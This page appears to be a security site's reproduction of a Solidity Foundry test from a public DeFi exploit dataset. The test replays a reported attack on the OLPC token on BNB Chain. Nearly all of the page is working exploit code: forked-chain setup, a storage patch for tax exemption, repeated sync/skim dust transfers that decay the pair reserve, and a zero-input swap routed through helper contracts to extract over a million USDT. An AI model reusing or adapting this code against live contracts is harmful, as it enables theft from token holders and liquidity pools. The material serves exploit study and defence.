Skip to content
THREATWIRE

Public reproduction file

src/test/2026-06/OLPC_exp.sol

Public reproduction file for dataset entry OLPC.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-06/OLPC_exp.sol300 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 1,115,903.66 USDT
8// Attacker : 0x18d6c39ae9e537f948aa2212d44d8c23944fc188
9// Attack Contract : 0x18d6c39ae9e537f948aa2212d44d8c23944fc188
10// Vulnerable Contract : 0x58815cdf9955121a6274680ab396a36fc9e00000
11// Attack Tx : https://bscscan.com/tx/0x8dabb60a94e5124462e5f494a25c14bcd52f6f4d1f7c665a249496f4c6c24764
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x58815cdf9955121a6274680ab396a36fc9e00000#code
16// @Analysis
17// Twitter Guy : https://x.com/exvulsec/status/2068308334512365924
18// Root Cause : OLPC owner set decimalsValue to 7326680472586200649 at BSC block 96479712
19// (2026-05-05 08:19:47 UTC), making tiny dust transfers force large pair balance decay.
20// Setup Tx : https://bscscan.com/tx/0xa413fdf688398348ddf0246275c6fe3a98806670252e44bfe0acd50b4d50efa2
21//
22// The OLPC token's transfer hook updates price state from Pancake pairs and allows the OLPC/LABUBU
23// pair reserve to be synchronized to a manipulated token balance. After repeated sync/skim cycles,
24// a Pancake supporting-fee swap with amountIn = 0 reads the inflated OLPC pair balance as input and
25// releases LABUBU, which is routed through WBNB into USDT.
27address constant OLPC = 0x58815CDF9955121a6274680ab396a36FC9e00000;
28address constant LABUBU = 0x3494dfE19b721DAC6c5c8d7470c8F89548177777;
29address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
30address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
31address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
32address constant OLPC_LABUBU_PAIR = 0xedB7DCB4cDFEc957F8Df5cBf5E94229a6CC9F365;
33address constant SKIM_RECEIVER = 0xc0F1Ef7FE2ae3AAD0175af192713d36eD151755a;
34address constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
35bytes4 constant HOOK_APPLY_SELECTOR = 0xe172f16c;
36bytes4 constant HOOK_PASS_THROUGH_SELECTOR = 0x8f2de77d;
37bytes4 constant PROXY_SWAP_SELECTOR = 0xb1ca4936;
39interface ICustomToken is IERC20 {
40 function isTaxExempt(
41 address account
42 ) external view returns (bool);
44 function decimalsValue() external view returns (uint256);
47contract ContractTest is BaseTestWithBalanceLog {
48 BridgeSwapRouter private bridgeRouter;
49 TaxExemptBridgeProxy private bridgeProxy;
51 function setUp() public {
52 uint256 forkBlock = 105_326_392;
53 vm.createSelectFork("bsc", forkBlock);
55 fundingToken = USDT_TOKEN;
56 attacker = address(this);
58 vm.label(OLPC, "OLPC");
59 vm.label(LABUBU, "LABUBU");
60 vm.label(WBNB_TOKEN, "WBNB");
61 vm.label(USDT_TOKEN, "USDT");
62 vm.label(PANCAKE_ROUTER, "PancakeSwap V2 Router");
63 vm.label(OLPC_LABUBU_PAIR, "OLPC/LABUBU Pair");
65 bridgeProxy = new TaxExemptBridgeProxy();
66 bridgeRouter = new BridgeSwapRouter(address(bridgeProxy));
67 PassThroughBridgeHook olpcHook = new PassThroughBridgeHook(OLPC);
68 LabubuFeeHook labubuFeeHook = new LabubuFeeHook();
70 bridgeRouter.setHook(OLPC, address(olpcHook));
71 bridgeRouter.setHook(LABUBU, address(labubuFeeHook));
72 bridgeProxy.approveToken(LABUBU, address(bridgeRouter));
73 bridgeProxy.approveToken(LABUBU, PANCAKE_ROUTER);
75 vm.label(address(bridgeRouter), "Local bridge router");
76 vm.label(address(bridgeProxy), "Local tax-exempt bridge proxy");
77 vm.label(address(olpcHook), "Local OLPC bridge hook");
78 vm.label(address(labubuFeeHook), "Local LABUBU fee hook");
80 // Historical helper 0x0e3c... was LABUBU tax-exempt. Patch the same token-side state for the local proxy.
81 bytes32 taxExemptSlot = keccak256(abi.encode(address(bridgeProxy), uint256(42)));
82 vm.store(LABUBU, taxExemptSlot, bytes32(uint256(1)));
83 assertTrue(ICustomToken(LABUBU).isTaxExempt(address(bridgeProxy)));
85 deal(OLPC, address(this), 10.143_931_370_302_072_322 ether);
86 }
88 function testExploit() public balanceLog {
89 uint256 beforeUsdt = IERC20(USDT_TOKEN).balanceOf(address(this));
91 // step 1: seed the OLPC/LABUBU pair and force OLPC reserves through the trace's sync/skim decay.
92 uint256 reserveDecayTargetDivisor = 10;
93 IERC20(OLPC).transfer(OLPC_LABUBU_PAIR, 1 ether);
94 uint256 dustTransfer = _initialDustTransfer(reserveDecayTargetDivisor);
95 for (uint256 i = 0; i < 20; i++) {
96 IPancakePair(OLPC_LABUBU_PAIR).sync();
97 IERC20(OLPC).transfer(OLPC_LABUBU_PAIR, dustTransfer);
98 IPancakePair(OLPC_LABUBU_PAIR).skim(SKIM_RECEIVER);
99 dustTransfer = dustTransfer / reserveDecayTargetDivisor;
100 }
102 // step 2: final OLPC transfer leaves 8.1 OLPC above reserves for Pancake's supporting-fee swap.
103 IPancakePair(OLPC_LABUBU_PAIR).sync();
104 IERC20(OLPC).transfer(OLPC_LABUBU_PAIR, 9 ether);
106 // step 3: the bridge wrapper calls Pancake with amountIn = 0 and then routes LABUBU through its hooks/proxy.
107 uint256 wrapperAmount = 0;
108 uint256 targetNetwork = 1;
109 uint256 traceDeadline = 781_328_217_393;
110 bridgeRouter.swap(OLPC, wrapperAmount, targetNetwork, USDT_TOKEN, address(this), traceDeadline);
112 uint256 profit = IERC20(USDT_TOKEN).balanceOf(address(this)) - beforeUsdt;
113 assertGt(profit, 1_000_000 ether);
114 }
116 function _initialDustTransfer(
117 uint256 reserveDecayTargetDivisor
118 ) private view returns (uint256) {
119 uint256 olpcSellNetNumerator = 9000;
120 uint256 olpcSellNetDenominator = 10_000;
121 uint256 pairBalance = IERC20(OLPC).balanceOf(OLPC_LABUBU_PAIR);
122 uint256 targetBalance = pairBalance / reserveDecayTargetDivisor;
123 uint256 burnScale = ICustomToken(OLPC).decimalsValue();
125 // Skim leaves pairBalance - skimAmount * (decimalsValue() - 1); choose dust that targets 10% balance.
126 uint256 skimAmount = _roundDiv(pairBalance - targetBalance, burnScale - 1);
127 return (skimAmount * olpcSellNetDenominator) / olpcSellNetNumerator;
128 }
130 function _roundDiv(
131 uint256 numerator,
132 uint256 denominator
133 ) private pure returns (uint256) {
134 return (numerator + denominator / 2) / denominator;
135 }
138contract BridgeSwapRouter {
139 mapping(address => address) public hookAddress;
140 address public proxyContractAddress;
142 constructor(
143 address proxy
144 ) {
145 proxyContractAddress = proxy;
146 }
148 function setHook(
149 address token,
150 address hook
151 ) external {
152 hookAddress[token] = hook;
153 IERC20(token).approve(hook, type(uint256).max);
154 }
156 function swap(
157 address token,
158 uint256 amount,
159 uint256 targetNetwork,
160 address targetToken,
161 address targetAddress,
162 uint256 swapBridgeAmount
163 ) external returns (uint256) {
164 require(targetToken == USDT_TOKEN || targetToken == LABUBU, "Invalid tokenOut");
166 uint256 balanceBefore = IERC20(token).balanceOf(address(this));
167 IERC20(token).transferFrom(msg.sender, address(this), amount);
168 uint256 received = IERC20(token).balanceOf(address(this)) - balanceBefore;
170 address inputHook = hookAddress[token];
171 _callHook(inputHook, HOOK_APPLY_SELECTOR, msg.sender, token, targetToken, received);
173 uint256 bridgeAmount;
174 if (token == LABUBU) {
175 bridgeAmount = received;
176 } else {
177 IERC20(token).approve(PANCAKE_ROUTER, received);
179 uint256 bridgeBefore = IERC20(LABUBU).balanceOf(proxyContractAddress);
180 address[] memory firstPath = new address[](2);
181 firstPath[0] = token;
182 firstPath[1] = LABUBU;
183 // In the trace `received` is zero. Pancake still infers input from the pair's excess OLPC balance
184 // over its stored reserve, which the previous sync/skim loop and 9 OLPC transfer created.
185 IPancakeRouter(payable(PANCAKE_ROUTER))
186 .swapExactTokensForTokensSupportingFeeOnTransferTokens(
187 received, 1, firstPath, proxyContractAddress, swapBridgeAmount
188 );
189 bridgeAmount = IERC20(LABUBU).balanceOf(proxyContractAddress) - bridgeBefore;
191 IERC20(LABUBU).transferFrom(proxyContractAddress, address(this), bridgeAmount);
192 }
194 bridgeAmount = _callHook(inputHook, HOOK_PASS_THROUGH_SELECTOR, msg.sender, LABUBU, targetToken, bridgeAmount);
196 address bridgeHook = hookAddress[LABUBU];
197 bridgeAmount = _callHook(bridgeHook, HOOK_APPLY_SELECTOR, address(0), LABUBU, targetToken, bridgeAmount);
199 IERC20(LABUBU).transfer(proxyContractAddress, bridgeAmount);
201 address[] memory route = new address[](3);
202 route[0] = LABUBU;
203 route[1] = WBNB_TOKEN;
204 route[2] = targetToken;
205 return _callProxySwap(targetNetwork, route, targetAddress, bridgeAmount, swapBridgeAmount);
206 }
208 function _callHook(
209 address hook,
210 bytes4 selector,
211 address account,
212 address token,
213 address targetToken,
214 uint256 amount
215 ) private returns (uint256) {
216 (bool ok, bytes memory ret) = hook.call(abi.encodeWithSelector(selector, account, token, targetToken, amount));
217 require(ok, "hook failed");
218 return ret.length >= 32 ? abi.decode(ret, (uint256)) : amount;
219 }
221 function _callProxySwap(
222 uint256 targetNetwork,
223 address[] memory route,
224 address targetAddress,
225 uint256 bridgeAmount,
226 uint256 swapBridgeAmount
227 ) private returns (uint256) {
228 (bool ok, bytes memory ret) = proxyContractAddress.call(
229 abi.encodeWithSelector(
230 PROXY_SWAP_SELECTOR, PANCAKE_ROUTER, bridgeAmount, targetNetwork, route, targetAddress, swapBridgeAmount
231 )
232 );
233 require(ok, "proxy swap failed");
234 return ret.length >= 32 ? abi.decode(ret, (uint256)) : bridgeAmount;
235 }
238contract PassThroughBridgeHook {
239 address public immutable token;
241 constructor(
242 address hookedToken
243 ) {
244 token = hookedToken;
245 }
247 fallback(
248 bytes calldata input
249 ) external returns (bytes memory) {
250 require(msg.sig == HOOK_APPLY_SELECTOR || msg.sig == HOOK_PASS_THROUGH_SELECTOR, "unknown hook selector");
251 (, address tokenIn,, uint256 amount) = abi.decode(input[4:], (address, address, address, uint256));
252 require(tokenIn == token || tokenIn == LABUBU, "unexpected hook token");
253 require(msg.sig != HOOK_APPLY_SELECTOR || amount == 0, "unexpected OLPC hook amount");
254 return abi.encode(amount);
255 }
258contract LabubuFeeHook {
259 fallback(
260 bytes calldata input
261 ) external returns (bytes memory) {
262 require(msg.sig == HOOK_APPLY_SELECTOR, "unknown fee hook selector");
263 (, address tokenIn,, uint256 amount) = abi.decode(input[4:], (address, address, address, uint256));
264 require(tokenIn == LABUBU, "unexpected fee token");
266 uint256 sellTaxPercent = 1805;
267 uint256 nodeRate = 500;
268 uint256 basePercent = 10_000;
269 uint256 totalTax = (amount * sellTaxPercent) / basePercent;
270 uint256 nodeFee = (amount * nodeRate) / basePercent;
271 uint256 burnFee = totalTax - nodeFee;
272 IERC20(LABUBU).transferFrom(msg.sender, BURN_ADDRESS, nodeFee);
273 IERC20(LABUBU).transferFrom(msg.sender, BURN_ADDRESS, burnFee);
275 return abi.encode(amount - totalTax);
276 }
279contract TaxExemptBridgeProxy {
280 function approveToken(
281 address token,
282 address spender
283 ) external {
284 IERC20(token).approve(spender, type(uint256).max);
285 }
287 fallback(
288 bytes calldata input
289 ) external returns (bytes memory) {
290 require(msg.sig == PROXY_SWAP_SELECTOR, "unknown proxy selector");
291 (address router, uint256 amount,, address[] memory path, address profitReceiver, uint256 deadline) =
292 abi.decode(input[4:], (address, uint256, uint256, address[], address, uint256));
294 uint256 beforeBalance = IERC20(path[path.length - 1]).balanceOf(profitReceiver);
295 IERC20(path[0]).approve(router, amount);
296 IPancakeRouter(payable(router))
297 .swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 1, path, profitReceiver, deadline);
298 return abi.encode(IERC20(path[path.length - 1]).balanceOf(profitReceiver) - beforeBalance);
299 }

Analysis

Dataset entry

Public Foundry test for “OLPC” (2026-06-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x18d6c39ae9e537f948aa2212d44d8c23944fc188

  • Attack Contract

    0x18d6c39ae9e537f948aa2212d44d8c23944fc188

  • Vulnerable Contract

    0x58815cdf9955121a6274680ab396a36fc9e00000

  • Attack Tx

    0x8dabb60a94e5124462e5f494a25c14bcd52f6f4d1f7c665a249496f4c6c24764

File record

Name
OLPC
Path
src/test/2026-06/OLPC_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1d70010f404721090a509c2129852760f0d3ecdd
Language
Solidity
Size
301 lines
Date
2026-06-20
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-06/OLPC_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1d70010f404721090a509c2129852760f0d3ecdd, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.